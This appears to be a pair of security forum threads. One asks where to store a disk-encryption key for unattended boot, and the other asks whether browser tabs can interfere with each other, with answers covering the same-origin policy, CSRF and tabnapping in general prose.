Therefore, since I'll need to use an initramfs to decrypt the OS disk anyway, I figured I would store the key for the OS partition in the initramfs, which would get embedded into the kernel, which would be stored in the boot partition. This would prevent the data from being read from some random person who happens to feel like stealing some disks. However, I realize that this isn't ideal, because a sufficiently knowledgeable attacker would be able to extract the initramfs from the kernel, and extract the key from the initramfs image.

The way I see it, no matter how complex a scheme I can come up with, I need to be able to tell the machine how to carry out the decryption routine; an attacker needs only to read the decryption routine to determine how to decrypt the system.

With the storage available, is there a better way that I can encrypt the partitions that will be more resilient against an attacker who has possession of the disks?

This is the endless problem of: I know how to securely encrypt this, but where should I securely store the key?. Unfortunately, there is no nice solution, because if you want to allow an unattended reboot, the key must be accessible from the machine. That means that you can only rely on a something you have.

Said differently, if only the storage disk is stolen, your system will be safe, but if both disk are, the attacker will have all he needs to decrypt everything.

The best technical solution I can imagine, would be to use a HSM to decrypt the keys. But it only adds security if you can hope that the HSM will not be stolen with the disks. That means that the only efficient way will be to improve the physical security of the data center.


Do browsers allows pages loaded on one tab to access/intercept/inject data in other tabs? I was surprised to hear from this Reuters video that it was possible for a page loaded on one tab to access and/or inject data onto another page loaded on a different tab.

TL;DW (too lazy; didn't watch) The interviewee in the video suggests that when doing online banking, the user exit his browser (thus closing all windows) and start a new browser session with just your banking page/tab open. Allegedly, malicious sites can check if you have your banking site open and inject commands onto those sites.

Can someone confirm and/or deny this claim?  Is it only possible even if there is not parent/child relationship between windows/tabs?

Very common implementation is sharing sessions in the same process. E.g: you are logged into your bank account in tab A. When you copy the URL and paste it in the tab B (of the same browser-window), then: you are still logged in. The situation should be different when you start another process of your browser and paste the URL into another browser-window.

Does it mean, that website A opened in tab A has access to the session from any other tab? The answer is simple: no, because of the same origin policy. Malicious websites cannot interfere with other websites (even there are opened in nearby tabs).

Another idea could be stealing data/content from website opened in tab A via XMLHttpRequest. XMLHttpRequest opens the link to our bank, scans for sensitive content and sends it to the attacker. Well, this scenario is still fictitious. Why? The same answer here: same origin policy again. However, there is a possibility to increase the chance of success in this scenario (e.g Zone Policy in IE or MSXML 3.0 [http/https]), but IMO it's still very unlikely.

Well, the main danger which should be mentioned in this context are:

CSRF
Tabnapping

CSRF:

Let's look at a simple scenario. You are logged into your bank, which has no CSRF-protection. Meanwhile you switch to another tab (or even close your tab with the website of your bank - the most important here is that you didn't log out, your session wasn't destroyed and it says that you are still logged in). Another tab sends HTTP requests to your bank. As website has no idea if reqests are generated by script or by human, it accepts them. So unauthorized commands/requests were transmitted to your bank.

Tabnapping:

It's pretty new kind of phishing attack. There is a JS-script put on normal-looking site which detects if your tab is active (focused) or not. You switch to another tab. Then JS replaces the favicon and title (now they look the same as your bank's favicon and title). When you click back on the fake tab - you will see changed content (which looks the same as the website of your bank).